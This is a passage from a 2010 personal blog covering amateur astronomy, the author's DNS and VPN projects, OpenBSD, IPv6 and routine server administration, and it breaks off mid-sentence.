Orion's belt led me to it
January 13th, 2010
An aqaintance in NYC made a picture of the star sky and I was dying to
know what
constellation
it was he made a picture of. So after checking
a few constellations it didn't match I left it. Today I took a look at
my astronomy calendar and there was this constellation that I was looking
for. It's called the
Winter Triangle/Hexagon
and has the stars
Sirius
and
Aldebaran
in it, my aqaintance only got half of it but I was able to
reconstruct it with the gimp picture editor. Then I was able to match
the
Gemini constellation
, that was real cool. Looking through the program
Xephem, it pointed out that there was another star between
Betelgeuse and
Aldebaran called
Bellatrix,
see if you can make it out. It's visible.
Also the star labelled
Pollux is at the
end of the line not the star
immediately next to the label, that's
Castor. Anyhow
this is the original picture
and this
here is the
edited picture.
PS: researching a bit further I found the centroid of the Winter Triangle
called Monoceros constellation
. According to William Herschel it is "one of the most beautiful sights in
the heavens".
PSS: I was having so much fun, I mapped most of the
star sky
in the image, except of course Orions belt which should be straight
forward. Here is
another one with
one frame deleted and the rest merged.
proteus the main solarscale.de VPS has an uptime of 1 year today, so far
so good
natally, the tunnel/VPN server that I programmed has a fix where the
key for 256 bit AES is now full 32 bytes long instead of 16. This may make
it stronger from crypanalyses
Well it's final. Oracle bought Sun Microsystems. Here is a picture that
has been circulating:
I first became aware of Sun servers in 1995 when I used a shell account at
Seneca College in Toronto which I was attending for Computer Engineering.
The first time I had to administer a Sun box was in 1997 at an ISP that used
an Ultra-2 for it's email operations. Sun and I had a love/hate relationship
but over time my respect for Sun grew. Last year I was able to aquire Solaris
10 and so this shall be the first and last purchase I made from Sun.
Old code from the past
January 24th, 2010
When I write and commit C source code to sourceforge.net I try to include
functions that I can reuse in the future. That's the sole reason it's at
sourceforge. However I just found some old code written in early 2001
which I sent to Theo de Raadt and it was my implementation of a pflogd which
didn't exist at the time. In the end it was Can Acar's code that made it
into OpenBSD also called pflogd. I realize now that my code is pretty wack
but I can still use some functions over again, for example the pcap code or
postgresql code may be able to be copied to a new program. But it's not
worth uploading this to sourceforge.
So you can download it and study it and see countless bugs (like I just saw)
and you can try porting it to current OpenBSD because somewhere along the way
this must have stopped working as it doesn't compile for me on 4.6 anymore.
Have fun!
Hackepedia in German
January 26th, 2010
I'm working on translating the 150 documents that I have stored on
solarscale.de into german. I have done 25 or so since yesterday and I want
to slow the pace a little, I'm hoping to be done by march with this.
Here is a
sample.
24 Years of computing History
January 27th, 2010
I started using a computer when I got a Sinclair ZX-81 from a neighbour. That
was the year 1986. The thing had no tape drive and I had to keep it on while
I painfully copied BASIC out of a book to play a game. Anyhow today I have
the amd64 that you see in the chart below at the bottom. I'm planning to get
a new computer in June that will hopefully blow all previous accumulations of
CPU or RAM away. It'll run several VM's and perhaps I'll even dedicate a core
to seti@home again, we'll see.
My Linux experience started in 1994 with the 486 as well. In 1995 I started
putting FreeBSD on the machine though and stayed with BSD for a number of
years before going back to Linux to run vmware (I still have BSD vm's!).
Oh I should blog about the fate of these computers. The sinclair broke, the
commodore was sold, the sx25 was stolen, the 486 abandoned when I left Canada.
One PII-350 was passed down to my brother, One PII-350 was abandoned, the
AMD Athlon 1000 went to my brothers in-laws, The G3 iBook broke, the G4 is
passed down to my parents (I'm writing on it right now) and the P200 had a
tragic fall out a 3rd floor balcony. And I only have the amd64 left of all
of these.
Well so much for the American Manned Space Program, of which I'm a big fan
I must add. But let's review what happened in the last 10 years. 12
years. NASA built the International Space Station together with the Russians
and other major contributors, starting in 1998. Then GW Bush announced the
Moon to Mars program, probably because going to the moon was easier than
going to mars. Then President Obama just recently cancelled the Moon-to-Mars
program and what we're left with is a formidable space station in orbit
and a space shuttle that's retiring at the end of this year (4 more flights).
So what has happened behind the scenes, elsewhere? Well we had the
Spaceship One win the Ansari X-Prize and Virgin founded Virgin Galactic so
that Spaceship Two can take passengers to a non-orbiting 5 minute view of the
rim of space. Also scram-jet engines have been tested in Australia but I
didn't find any conclusive evidence that they are building a scram-jet just yet.
Also there is a company out in the US that proposes to shoot resources into
orbit out of a cannon. They are promising cheaper launch rates than what
the shuttle cost by a factor of 10 or so. Then there is the space elevator
that everyone dreams of but the material isn't quite strong enough for it
yet. And then there have been a number of private space companies that
have launched payloads into orbit, these are fairly new.
Anyhow the president of the United States probably has more insight on what
technologies are best and cheapest and makes his decision based on that. So
perhaps one of these things appealed to him causing NASA to lose their manned
space program. Obama must be convinced that there is a better way and we'll
see in time what that may be, perhaps he thinks it's too soon to tell the world
. Meanwhile I read somewhere, that Europe wants
to go to the Moon by 2030 which is in 20 years time. But a lot can happen
in just a decade. The original moon program of the US managed to land a man on
the moon in 1969 in a decade of preparation with no experience on how to do
so, but the cost was so tremendous that they had to give it up. So for this
situation I can only look to myself when I was a boy and wanted something
real bad. When I didn't get it, after a while I didn't want it anymore and
I was glad I didn't make that decision. Perhaps this is what America faces
today and they'll be glad they didn't go ahead with a moon program just yet.
Time will tell.
Bruce Schneier has written a new
book. I've already ordered this and it should be delivered by march 30th,
it'll be released march 15th.
OpenSMTPD bug (DoS) fixed
February 17th, 2010
Yesterday I found this bug with Mouring on IRC. Basically if you have a very
long string for an email address the smtpd will quit with a truncation error
in lowercase(). Gilles Chehade put in this
fix, revision 1.99 of lka.c, this morning (it should be noted it's Gilles
fix, we only identified the bug and wrote to him). Everyone should update to
this version or their smtpd will cease working when the DoS comes around that
came around to Mouring.
The Internet Meltdown
February 18th, 2010
Yesterday I watched a Google Tech Talk on
IPv6
and specifically what transition technologies exist today. The speaker
basically thinks we'll have a meltdown near the end of 2011 but seemed very
calm about it. I yahoo'ed for it and found this
article
as well. Over here I've got IPv6 connectivity but I'm wishing that my VPS
would have it as well and I've asked about it repeatedly. Maybe by next
year, I'm hoping, as being available in both IPv4 and IPv6 land is a must after
we run out of addresses.
Privacy just got a lot better when you visit this website. According to an
article in the german magazine "C't magazin fÃr Computer technik" (2010 Edition
5, page 154), the storage
of IP data is illegal. Specifically the correlation between IP and access
time. So what I've done is patch my webserver (lighttpd) accordingly to throw
out the last last 2 octets from the dotted quad. I can now roughly see which
region you're from in my logs but not who exactly you were, I'm not interested
in that anyhow but if someone wants my logs it won't give them much.
The other VPS I have in Panama I'm not going to do this patch because I'm unsure
of what the legalities there are there. This should only affect the centroid.eu
domain though and if you wish to read only from the german server use
solarscale.de. Cheers!
Yesterday I was able to see the starsky again. I took these pictures of
Sirius and Orion through the trees.
Wildcarddns does global load balancing
March 2nd, 2010
Well I finally got around to
wildcarddnsd again and trashed
all stuff I wrote
for it. That was yesterday. I was able to hack up some new stuff that uses a
sort of firewall ruleset to determine where a nameserver comes from and then
serve based on that information to which server the request should go. I
got it running in beta (centroid.eu) watch closely.
The following is a ping from proteus (germany) to centroid.eu, the IP it
gives is proteus itself (also germany).
pjp@proteus:~/blog> ping -c 1 centroid.eu
PING centroid.eu (62.75.160.180) 56(84) bytes of data.
64 bytes from proteus.solarscale.de (62.75.160.180): icmp_seq=1 ttl=64 time=0.06
3 ms
--- centroid.eu ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.063/0.063/0.063/0.000 ms
The next is a ping from dione (panama) to centroid.eu. The IP it gives is
dione itself, similar to the above ping:
goldflipper% ping -c 1 centroid.eu
PING centroid.eu (200.46.208.61): 56 data bytes
64 bytes from 200.46.208.61: icmp_seq=0 ttl=64 time=0.027 ms
--- centroid.eu ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.027/0.027/0.027/0.000 ms
Now there has been a few ethical debates whether DNS should "lie" or not
and I think in favour of loadbalancing it should lie and tell an IP that's
closest to the client. This is still in beta and I'm watching it closely
and then I'll merge it into HEAD.
PS: I've balanced it in such a way that IP's comeing from RIPE and APNIC go
to the server in Germany, and ARIN and LACNIC go to the server in Panama.
I haven't dealt with the other regions yet, they may get defaulted to LACNIC.
Downtime
March 4th, 2010
Today I woke up to proteus.solarscale.de not pinging anymore. The downtime
was around 3.5 hours as the provider that I use did some repairs on the
main server that proteus is a vm guest on. In that time I updated the DNS
table for solarscale and added uranus.centroid.eu as a mailserver. It would
have worked getting _some_ mail because the TTL on the zone is 86400 and
I mainly just get mailing lists. Unfortunately it turns out that the
OpenSMTPD that I use doesn't recognize aliases (bug) and returned mail with
a 530 message. No mail was really lost as the remote mailservers attempt
to deliver again but it was annoying. I sent gilles@ an email explaining
the error message that I got, perhaps he can get a fix in before the
OpenBSD 4.7 release.
PS: oh yeah proteus had an uptime of 410 days before this mishap.
How does that work? I have pretty well sandboxed my windows machine behind a
firewall and I use wildcarddnsd to read off what hosts it tries to reach.
Well..wildcarddnsd refused some questions because they had a DNS compression
inside it, which doesn't make sense since it would create an endless loop IMO.
Here is the dropped packet warning:
Mar 5 11:10:40 rosalind wildcarddnsd[30362]: question has compressed name, drop
Mar 5 11:10:40 rosalind wildcarddnsd[30362]: on descriptor 5 interface "127.0.0.1" malformed question from 172.16.0.10, drop
on offset 0x39 it shows c4, definitely a dns compression the offset is 0x400
which seems bogus. I wonder if this is a bonjour packet intended to kill
firewalls. Rather silly.
Wildcarddns at BETA_4
March 9th, 2010
Wildcarddnsd is now at BETA_4
tag. I've merged branch TTLPATCH to HEAD and tagged it. I also branched off
BETA_4STABLE for errata and bug fixes between BETA_4 and BETA_5. I want to
keep developing at HEAD from now on much like other open source projects, that's
why I branch a stable branch because things could get broken between commits.
Here is a timeline of tags for Wildcarddnsd:
initial commit, Tue Nov 29 17:00:02 2005 UTC
BETA_1, Thu Jul 24 17:42:08 2008 UTC
BETA_2, Mon Aug 31 14:03:10 2009 UTC
BETA_3, Tue Nov 3 17:16:30 2009 UTC
BETA_4, today
Of course wildcarddnsd carried a severe bug with it from initial commit to
BETA_3. The bug was something like sending an NXDOMAIN to a RR that didn't
exist. This had a negative impact on RR's of the same label on caching
nameservers. In fact they were deleted in the caching nameservers. The fix
was to send NOERROR, as a wildcarddnsd operator may have seen in the logs.
I'm looking for people who have an interest in DNS and have some C coding
skills to help me with this project. The only other thing I require from
them is some patience while I adjust to a group effort, which I have no
experience in. Some things we need for this project is TCP support, EDNS0
support, DNSSEC support, AXFR (through cryptochannel) and perhaps Dynamic
updates, also TXT support would be nice (very simple) and NS support for
delegating zones to other nameservers (a bit harder).
It almost went by without me remembering. Happy Equinox! From Wikipedia:
An equinox occurs twice a year, when the tilt of the Earth's axis is
inclined neither away from nor towards the Sun, the Sun being vertically
above a point on the Equator...
In my own words it can also mean that the southpole is entering seasonal
24/7 darkness and the north pole is entering seasonal 24/7 light. The
southern hemisphere is beginning autumn where the northern hemisphere is
beginning spring.
Digital Camera
March 20th, 2010
My birthday was a few days ago and I got an Olympus X-925 Black camera from
my parents. I never had a digital camera before and this one has 12 Mega
Pixels! It's not a professional camera but the test photos I took turned
out well. Perhaps I'll blog with some photos in the near future.
Here is a picture
that I took of the sun with a welding filter before the lens. It didn't
turn out great and I had to digitally remove all light and it's still bright
which tells me the filter isn't all that great. But it's worth experimenting
a little on what the cameras limits are.
OpenBSD 4.7 song pre-released
March 20th, 2010
Well OpenBSD has been pre-released. Pre-orders are being taken directly from
the OpenBSD site or through OpenBSD
Europe (which I did this time). The song was released to the public
yesterday and can be heard here.
I think the song is good, but it's not as geeky as the other ones IMO.
One thing about the song is the "I'm still here" which in my opinion is a take
on the project leader who has been loyal to his project and hasn't gone off
and made money elsewhere. I don't know how much he makes but I suspect the
house is paid off and his salary is decent. It's nice that OpenBSD is still
the way it was 10 years ago. People come and go though but the leader and
focus is still the same.
The image for hackepedia
will change to this one as the old one is probably not relevant anymore.
Clear skies, no camera
March 24th, 2010
Well. We had clear skies tonight but I had no chance of making a picture
of the southern sky. Also looking out I cannot make out the
constellation
Leo with the bare eyes. Too much LP (light pollution). However as you can
see I have the Xephem program doing magical things. In the southern sky at
11PM tonight one should see Mars and Saturn as well as the Moon (further up).
Xephem is really a great astronomy program.
WildcardDNSd, new features
March 27th, 2010
In the last 2 weeks or so
Wildcarddnsd
has gotten 2 major features. TXT RR
support is one (which I did today) and NS delegations work now. Before they
weren't working right. Also I extended the region support to IPv6 which was
interesting.
Although these features are in HEAD I'm reluctant to CVS tag for BETA_5.
It's too close still to the last BETA_4 tag. Perhaps in a month, I can
consider this.
I don't like putting 2 hackepedias back to back. Oh yeah I relased beta_5
of wildcarddnsd and a patch to that on sourceforge, that's what I've been
doing mainly these past few days.
Making X11 resolution work right with vmware guests (1920x1080)
April 15th, 2010
Generally I'm easy going. That means that when something is misconfigured, I
don't care too much and find workarounds. For a while anyways. So to give
you an example I had my new Kubuntu start up with a 800x600 screen under
vmware and it didn't change resolution until I went into the system settings
and clicked on the Display config, it then resized upon opening the program.
Similarily in OpenBSD the resolution was 1024x768 or such so that there was
"wings" of blackness on either side of my widescreen monitor.
All this
I lived with for several month, but since I use OpenBSD as my main desktop
it finally boiled down to me having to fix it. I googled. First hit had
my answer. Someone said to use the program "gtf" to generate a Modeline for
my monitor and stick it into the screen section. I tried that and it didn't
work. They were wrong in that it was the "monitor" section it should have
been put. Once I did that and having examined the /var/log/Xorg.0.log I
noticed that my horizontal syncrate wasn't accepted. So I bumped it up to
90.0 and it finally worked. I want to share my Kubuntu /etc/X11/xorg.conf
file with you, and very similar modifications also worked with OpenBSD,
so here is:
Hope it can be useful for others. Oh yeah, if you're curious why I run both
Kubuntu and OpenBSD as desktops it's this: When I require flash I switch to
Kubuntu, otherwise I do everything in OpenBSD. Most of the google tech talks
I watch are watched with Linux.
I've been googling a bit now to find out why the port 9100 on my parents
airport extreme didn't work for JetDirect printing. I've found
this.
Apparently the port changed on some firmware updates from 9100 to 9101. I'll
give this a shot tomorrow when I visit, as Rendevous printing with an old
10.3.9 Mac Os X doesn't seem to work right on the setup that I got there.
Generally I'd portscan but nmap didn't compile on such an old version of
Mac OS X.
Update: it's true it is on port 9101, although Mac OS X 10.3.9 doesn't have an
option to configure the port right, I had to go into the cups webmanagement
at localhost port 631 to make it work. Mac OS X 10.5.x (my dads macbook) worked
with configuring the jetdirect port to 9101 in the apple config system.
Changed graphics on website
April 18th, 2010
If you frequently come here to read this blog you may have noticed that the
graphics changed. I spontaneously did this today and I like it. The main
graphic is a triangle with a star (the sun) in its
centroid all in the
european colours. The star has nine points with three points to every side of
the triangle. I made two pictures, one with a black background and one with
a white background. The picture is supposed to represent the union between
solarscale.de and centroid.eu which have been the same website under the
two different names for a while now.
I made a small program that can compress a file on less space than gzip. It
was fun writing it and under nominal conditions it performs very well. The
reason this design didn't make it into our list of programs is because if the
conditions aren't favourable and it hits an out of disk space problem then
repairing itself is next to impossible. So it isn't used. But you can still
study the failings of programs to understand why working programs work well.
Inside the program source code you'll see a typescript clip from the program
working better than gzip, but add a bit more space in the sparsefiles in the
filesystem it explodes badly.
BTW if you're interested in contributing to hackepedia it now allows
people to edit without logging in.
Educating the me
April 30th, 2010
I've started attending a class for CSS (cascading style sheets). The main
purpose is that I have a lot of HTML documents (including this blog) that
could use a bit of style. I've already written a style sheet for this blog
in a test environment and will be putting it up perhaps next week.
Learning from Hackers
May 7th, 2010
I was once a system administrator. One system I administered was BSD/OS and
it had a "gcc" group in /etc/group. The other administrators thought it was
a good idea to restrict gcc to a set of people who asked to have gcc access.
One guy didn't ask and he exploited the fact that the "ld" and "as" commands
were not in the gcc group. He created an assembly file possibly with FreeBSD
and then copied that over and assembled and linked the possibly very compatible
assembly file. I thought the guy was brilliant and I want to show you
rudamentally what he did, watch.
romeo$ uname -a
FreeBSD romeo.solarscale.de 7.2-RELEASE FreeBSD 7.2-RELEASE #1:
Wed May 5 21:28:23 CEST 2010 pjp@romeo.solarscale.de:/usr/
src/sys/i386/compile/ROMEO i386
romeo$ cat -n hello.c
1 #include <stdio.h>
2
3 int
4 main(void)
5 {
6 printf("hello, world\n");
7 }
romeo$ cc -S -o hello.s hello.c
juliet$ uname -a
NetBSD juliet.solarscale.de 5.0.1 NetBSD 5.0.1 (GENERIC) #0:
Thu Jul 30 01:39:11 UTC 2009 builds@b8.netbsd.org:/home/bui
lds/ab/netbsd-5-0-1-RELEASE/i386/200907292356Z-obj/home/build
s/ab/netbsd-5-0-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
juliet$ as -o hello.o hello.s
juliet$ ld -static -o hello /usr/lib/crt0.o hello.o -lc
/usr/lib/crt0.o: In function `___start':
: undefined reference to `_fini'
/usr/lib/crt0.o: In function `___start':
: undefined reference to `_init'
juliet$ ld -static -o hello /usr/lib/crt?.o hello.o -lc
juliet$ ./hello
hello, world
juliet$
Let that be a lesson to anyone. I sure learned from this guy.
The non-latin character domain names
May 10th, 2010
This was all over the news a few days ago. Basically Egypt, Saudi Arabia
and UAE now have the TLD (top level domain) in their language now. The
DNS system basically piggybacks a code (really
punycode) representation
of the unicode for these domains. It's still in ASCII downbelow, take a
look:
So it's not a glitch in the sytem if you see something like
domainname.xn--wgbh1c that's just egypt instead of it's previous domainname.eg.
My new computer: conceived
May 10th, 2010
On january 27th, I blogged
about my 24 year old history with computers. I have now decided on a new
computer and it'll take a considerable chunk of my savings. The computer
is going to be built with upgradeability in mind, so that 3, 5, 7 years
down the road I can upgrade it to what is decent then. Basically I'll be
getting an Intel Core i7-930 with 8 GB of RAM (2x4GB DDR3 modules) and
a 160 GB Intel SSD
, BluRay burner and a
wicked socket 1366 motherboard.
Also I'll get a semi-decent graphics card with 1 GB of RAM. The store
I got an estimate on priced it all at 1625 Euros, and since I have to get
some other things like speakers I'm counting on paying around 1700+ euros.
This computer by no means is a top-of the line, but it's powerful nontheless
and I think I can call it my own personal supercomputer. ;-)
Article in the BBC about IPv4 address exhaustion
May 11th, 2010
I think I've blogged about this before. The predicted date is September 9th,
2011 when all IPv4 addresses are given away. Here is the article. To quote the article...
Companies are being urged to get working with IPv6 now, to forestall any problems caused by the shortfall.
Added a bit of style (CSS)
May 13th, 2010
I've been attending 3 classes of learning how to use CSS (cascading style
sheets) and I've learned a bit. These are the changes I've put in place
after the first class and I like them. Notice the hovering on the right
side that's new. Also if you went through this site a little you may have
found the hackepedia backups which I've attempted to translate to german.
That has a bit of style as well. Enjoy.
BTW have you noticed the changes on the english wikipedia as well?
OpenBSD 4.7 Install movie
May 13th, 2010
Like I usually do I make an install movie with vmware of the latest BSD. Here
is OpenBSD 4.7:
Too be honest I attempted this movie 3 times. There is some things I noticed
while making it. First if you specify the X server to start immediately it's
sorta hard getting a config file since "Xorg -configure" won't work with a
running server. Second vmware seems to slow down with every attempt at making
the movie so it drags on, just fast forward the parts that are slow.
Dan, Rest In Peace.
May 21st, 2010
You were a true friend. I'm saddened by your death.
"I wonder what life 500 years from now will think looking back at this
period of time, and what it is we take for granted as fact now that will
be proven ignorant somewhere along the way. Cool. :)" - Dan Moschuk,
August 2009.
Registered Goldflipper.NET
May 25th, 2010
I registered goldflipper.net which was way overdue. I had this name on my
VPS in Panama for a while and never registered the domain name. Well I did
now and it does provide some IPv6 glue that I never had before, which is
grand.
Server Name: GOLDFLIPPER.NET
IP Address: 2001:A60:F000:99:0:0:0:2
IP Address: 200.46.208.61
Registrar: CSL COMPUTER SERVICE LANGENBACH GMBH D/B/A JOKER.COM
Whois Server: whois.joker.com
Referral URL: http://www.joker.com
Nothing really changes, the domain is served with wildcarddnsd and points
to the VPS in Panama and the IPv6 is served from my DSL.
New Computer, New tasks
May 26th, 2010
I totally forgot to blog about it. The computer that I "conceived" of as
written below, well I got it. It cost more than I had hoped. Anyhow now
I got a four core CPU and I want to put a bit of load on it. So I went
back to seti@home and I'm running their windows 7 client. It's nice. I'm
using all four processors in windows 7 with 25% load so it turns out
about the same load as one core. I've already finished 2 workunits and
I'm pretty happy.
Also notice the goldflipper image has changed. Before was ripped from
somewhere and this one I drew all by myself.
So I bought windows 7. For 199 euros. How stupid of me, let me explain why.
When I bought Windows 7 I also bought vmware Workstation 7 as an upgrade to
Workstation 6 so that it would make use of the graphics cards accelleration.
Back then I still had my Athlon 64-3500+ and graphics accelleration didn't
work on it. Anyhow back then I couldn't run 64-bit vm's either and I had to
install Windows 7 in a 32-bit vm. When I got my new computer that changed.
I copied the vm over to it and ran it for a while with no problems. So
a few days ago I installed the 64-bit version of Windows 7 and gave it the
activation code and didn't notice it didn't accept it until today (4 days
later). When trying to activate with my activation code repeatedly it
didn't work. So then I tried to get Microsoft support and they wanted a
Product-Id (PID) code from me. Their website only showed how to get it
for XP, Vista but not for Windows 7 so I painfully found it and entered it
and then they said it expired. So I booted the 32-bit windows 7 vm and
their website blew up.. it then said the other PID expired as well. So now
I'm pretty well stuck with 32 bit windows 7 (boohoo) since it's at least
activated. (What do people do when their computer blows up and they have
to reinstall?). If you think that was all that's nothing. When I moved
my anti-virus over it disabled the anti-virus on the 32 bit windows 7 and
there is no knob to turn it off and give the subscription back to the
32 bit anti-virus. So now I got a 64 bit un-activated version with a
working anti-virus and a 32 bit activated version with no working anti-virus.
This is a major mess in my view and I'm not to blame, I simply tried to make
use of a product I paid for and switching from 32 bit to 64 bit version is
as innocent as it gets. This cost my mental health, I hate Microsoft for it.
And for the first time with online registrations the Internet is as useful
as a dead doorknob.
Saturn, Mars, Venus alignment on the 21st
June 2nd, 2010
I found this article on physorg talking about the alignment. So I fired up xephem and changed the
time to 10 PM on June 21st in Frankfurt, Germany and this is what the western
sky at an elevation of 41 degrees looks like when zoomed in a bit.
It may make a good snapshot. Also remember that the 21st is the Summer
solstice. So the date is easy to remember.
Changed blog to PHP
June 5th, 2010
I've changed the blog to use PHP. I did this because of the following
reasons:
I'm learning PHP anyways, last I used it was in 2003.
maintaining the blog is a lot easier now as I don't have to type as
much as I did before.
my webpresence is due for a facelift above and below the skin.
searching the blog may be around the corner.
Well I hope that explains it.
Random Hackepedia
June 6th, 2010
I forgot to do Hackepedia this Friday so here it is.
Logging.
Facebook does IPv6
June 13th, 2010
I read that facebook is IPv6 capable at the address
www.v6.facebook.com. This is great!
I'll try it out when I get home.
What does the future hold?
June 14th, 2010
I have 4 sourceforge projects. Natally, Wildcarddnsd, Cryologd and twh. What
is the future for them? Well I've given it a bit of thought on my summer
break and here is the rough outline of the coding that I want to do.
Natally does tunneling real well. And it's encrypted however what I'd
like to see from it is that it does address management as well so that clients
connecting to it can connect to each other through the tunnels. Also when
IPv6 comes along on my VPS I'd like to do a NAT feature for IPv6 because the
addresses given to my VPS are going to be finite and I want to make use of
them with the tunnels somewhat.
Wildcarddnsd is growing. The next big change planned for it is going
to be a recursive server that allows me to change all my nameserver settings
in resolv.conf be changed to my wildcarddnsd servers. The complexity is quite
high so this may drag on. In my planning I've included an ascii drawing in
the code for the code execution flow on how I think it should be done.
cryologd has been doing pretty well. Other than a condition where it
exited for no reason (I think I got that fixed) there is not too much that
needs to be done. One thing that the crypto code needs is an HMAC at the
end of each frame for authentication which gets rid of the password exchange
which may make this code a bit more robust and fluent. Changes going into
cryologd can also be ported to natally as that's where it originated.
twh has been considered for removal on sourceforge. I don't plan to
do development on it anymore but having the code resource on how to do the
Berkeley DB stuff for example may be a good thing to have. Wish I had the
time for it.
I couldn't help but notice that the constellations were marked into it so
that you have somewhat of an idea where the earth is (in relation to the sun)
. If you've been reading this blog continuously you might have seen pictures
of Orion which was in the southern sky around midnight in winter.
Now it's summer and almost in the southern sky at 12 midnight is Sagittarius.
So then we're looking at the galactic center when it's summer, from our arm of
Orion-Cygnus. This is really cool IMO, so then we're going to look at
Cygnus constellation in Autumn and back to Orion in winter again. The
southern sky around the eliptic is a giant rotating window and it's fun
to see the constellations. (The program xephem helped me a lot as well).
I'm going to try to give these abbreviations names for you:
More abbreviations of constellations are here. I've added the names of the month when the constellation is best seen at mid night looking south.
The Arecibo Message
June 27th, 2010
Given the chart in the article below then, here is the approximate path
the Arecibo message is taking through our Galaxy. The Arecibo message
was an attempt at seeing if making contact with another world was possible.
Here is the wikipedia
article on it.
As you can see the message will travel through a pretty big chunk of our
Galaxy. It will probably have countless opportunities to be picked up. So
far the message is probably 36 light years away from our planet. Also the
message won't be travelling in a straight line either as einstein's theory
tells us that even light (or radio waves) will bend with influence of
gravity from stars. This graphic is just an approximation.
The Summer Triangle
June 28th, 2010
Yesterday we were blessed with clear skies and I took the opportunity to take
photos of the summer triangle. Which consists of the stars Deneb, Vega (shown)
and Altair at the vertices. We were lucky to get them all into one shot.
I was doing setiathome and einstein at home, but setiathome usually has no
work to give and einstein at home always produced calculation errors with
my boinc client. So now I've replaced einstein@home with
Docking@home.
Docking@Home is a project which uses Internet-connected computers to perform scientific calculations that aid in the creation of new and improved medicines. The project aims to help cure diseases such as Human Immunodeficiency Virus (HIV).
When there is
seti work one out of the two cpu threads work on it, and currently I have
two threads working away at it (two is equivalent to one core).
The Korean incident: tcpwrappers
July 3rd, 2010
I was checking my logs yesterday when I noticed that someone from an IP in
Korea was trying to brute force my pop3 daemon. I noticed after they got
about 6000 attempts in. So I looked at wrapping them with tcpwrappers. The
pop3 daemon on the outside of solarscale.de is Dovecot and they by default
don't have tcp wrappers support. But there is a patch. So I applied it and
noticed that some hunks of the patch failed. Particularely near the configure
scripts so I ended up editing config.h myself and added the define for tcp
wrappers in it. Then I built it and noticed that it would bomb out in 2
spots, all it needed was an edit in the Makefile to add "-lwrap" in the LIBS=
line. Then it built. When it was installed I noticed that my changes to
/etc/hosts.{allow,deny} were not effective. So I did a bit of googling and
read that Dovecot is chrooted. So it was just a matter of finding the chroot
and putting its own hosts.deny in there. It worked. So now only a select
number of hosts can use the pop3 service.
goldflipper% telnet solarscale.de 110
Trying 62.75.160.180...
Connected to solarscale.de.
Escape character is '^]'.
Connection closed by foreign host.
This seems fitting since I just changed my passwords myself.
Fire has SSL support
July 7th, 2010
Believe it or not I have made an IRC client. It's called fire and I've
coded SSL support into it yesterday and today. The SSL functionality
seems to be stable, you can download the source code
here.
Watching the ISS
July 9th, 2010
The past few days in Germany have been hot but the nights are cooler with
mostly clear skies. This gave me an opportunity to see the ISS twice in the
late evening (around 11PM). Once it was unexpected and we weren't sure what it
was. The second time I got the data from the NASA sightings page, which
is found
here.
The space station looks like a flying jet but you'll notice that it doesn't
blink nor does it have red and green lights. It's just a continuous and
steady crossing of the sky mostly coming from the west towards the east.
Without the moon and planets it's probably the brightest object in the sky
as it zips at 28,000 Km/h's into the night. Anyhow it was a nice experience
seeing this (it was my first time).
My dad has a mac powerbook (or macbook or something) and I tried to make it
work with my mail server. POP3 SSL worked but postfix SSL for SASL
authenticated relay did not. I use a self-signed certificate and that was
the problem. I couldn't paste the error message from the Apple Mail.app
but it said something like the remote host did not accept SSL. I wasn't
about to try it without SSL because the password is sent in the plain then.
The postfix server gave this error message:
Aug 1 22:57:42 proteus postfix/smtpd[12251]: connect from p54AAB41C.dip.t-diali
n.net[84.170.180.28]
Aug 1 22:57:42 proteus postfix/smtpd[12251]: SSL_accept error from p54AAB41C.di
p.t-dialin.net[84.170.180.28]: -1
Aug 1 22:57:42 proteus postfix/smtpd[12251]: lost connection after STARTTLS fro
m p54AAB41C.dip.t-dialin.net[84.170.180.28]
As a first diagnosis I tried the openssl s_client method to see if it can
connect to my postfix server, and it could so it must have been in the Apple
Mail. Also for self assurance it worked in Ubuntu and Windows 7 so why not
in Mac OS X Leopard.
So I did a bit of googling and learned that Apple's mail program did not accept
the certificate given to it because the hostname in the certificate was wrong
and just gave up (in the process blaming the server for giving up!). There is
a way to force it though. I downloaded the servers CA certificate file which
has a .pem extension (this is not the private key!) and double clicked on it
in Mac OS X.
smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem
It then asks you if you want to import this
certificate into the keychain manager and from there you can tell the system
to trust and allow this certificate everywhere. Soon after that I had to
set the outgoing mail server again in Mail.app but it worked this time and
a few test e-mails made it out SSL encrypted.
I thought I'd write this down as I'm probably going to be faced with it again
some time in the future.
The program in cryologd with the name of "cl" had a memory leak. It wasn't
apparent when there was little data that it processed, but with lots of
concatenated encrypted data which it decrypts to plaintext, the memory leak
was apparent. 2 lines change, here is the
source.
On February 24th, 2009 I blogged about the traceroute tricks. Here is the
link. I've updated
this to include IPv6 now and I've written a small hackish program that does
this as well. This took up 1.5 days of mine for a show such as this:
cordelia$ traceroute6 mimas.centroid.eu
traceroute6 to mimas.centroid.eu (2001:a60:f074::20) from 2001:a60:f074::1, 64 hops max, 12 byte packets
1 xxx.hello.xxx.centroid.eu 1.066 ms 0.269 ms 0.378 ms
2 xxx.why.xxx.centroid.eu 0.464 ms 0.503 ms 0.358 ms
3 xxx.are.xxx.centroid.eu 0.614 ms 0.658 ms 0.897 ms
4 xxx.you.xxx.centroid.eu 0.556 ms 0.361 ms 0.338 ms
5 xxx.tracerouting6.xxx.centroid.eu 0.472 ms 0.499 ms 0.411 ms
6 mimas.centroid.eu 0.3 ms 0.478 ms 0.318 ms
cordelia$
It's just vanity. It's a net-trick. Well at least I didn't play civilizations
and waste time. In the meantime I've learned about divert(4) sockets in OpenBSD
and even submitted a documenatation fix for pf.conf(5).
Worry about IPv6?
August 22nd, 2010
Someone (tydel) made me aware of this article named
Why you shouldn't worry about IPv6 just yet. I'd like to counter-argument
this article somewhat. I'll focus on the highlights.
Cassidy says that "According to these networking experts, we're only a
matter of months, or maybe weeks, from network Armageddon".
What you have to realize
is that converting to IPv6 on the server side isn't the end of the migration.
All your customers will have to move to IPv6 as well and some will be left
behind because some owners of networks are probably a bit lazy to do a migration.
So that means that if you want to run your business online, in order to get
the full potential customer base you'll have to run IPv4 and IPv6 dual stacked
so that you can satisfy both, until everyone is speaking IPv6. And since
space is running out on IPv4 an IPv4 address may be a lot more expensive than
an IPv6 address due to scarcity. Eventually there may not be any more IPv4
addresses to give out so this is the reason for dooms day calls.
Cassidy goes on to say "In fact, IPv6 starts to look a lot like
IPv2 if you consider that the default v6 address for your machine finishes
with its MAC address".
So I'm unsure what he means to say here. Perhaps he's worried that a
MAC address is a secret thing and that if you know the MAC address you can
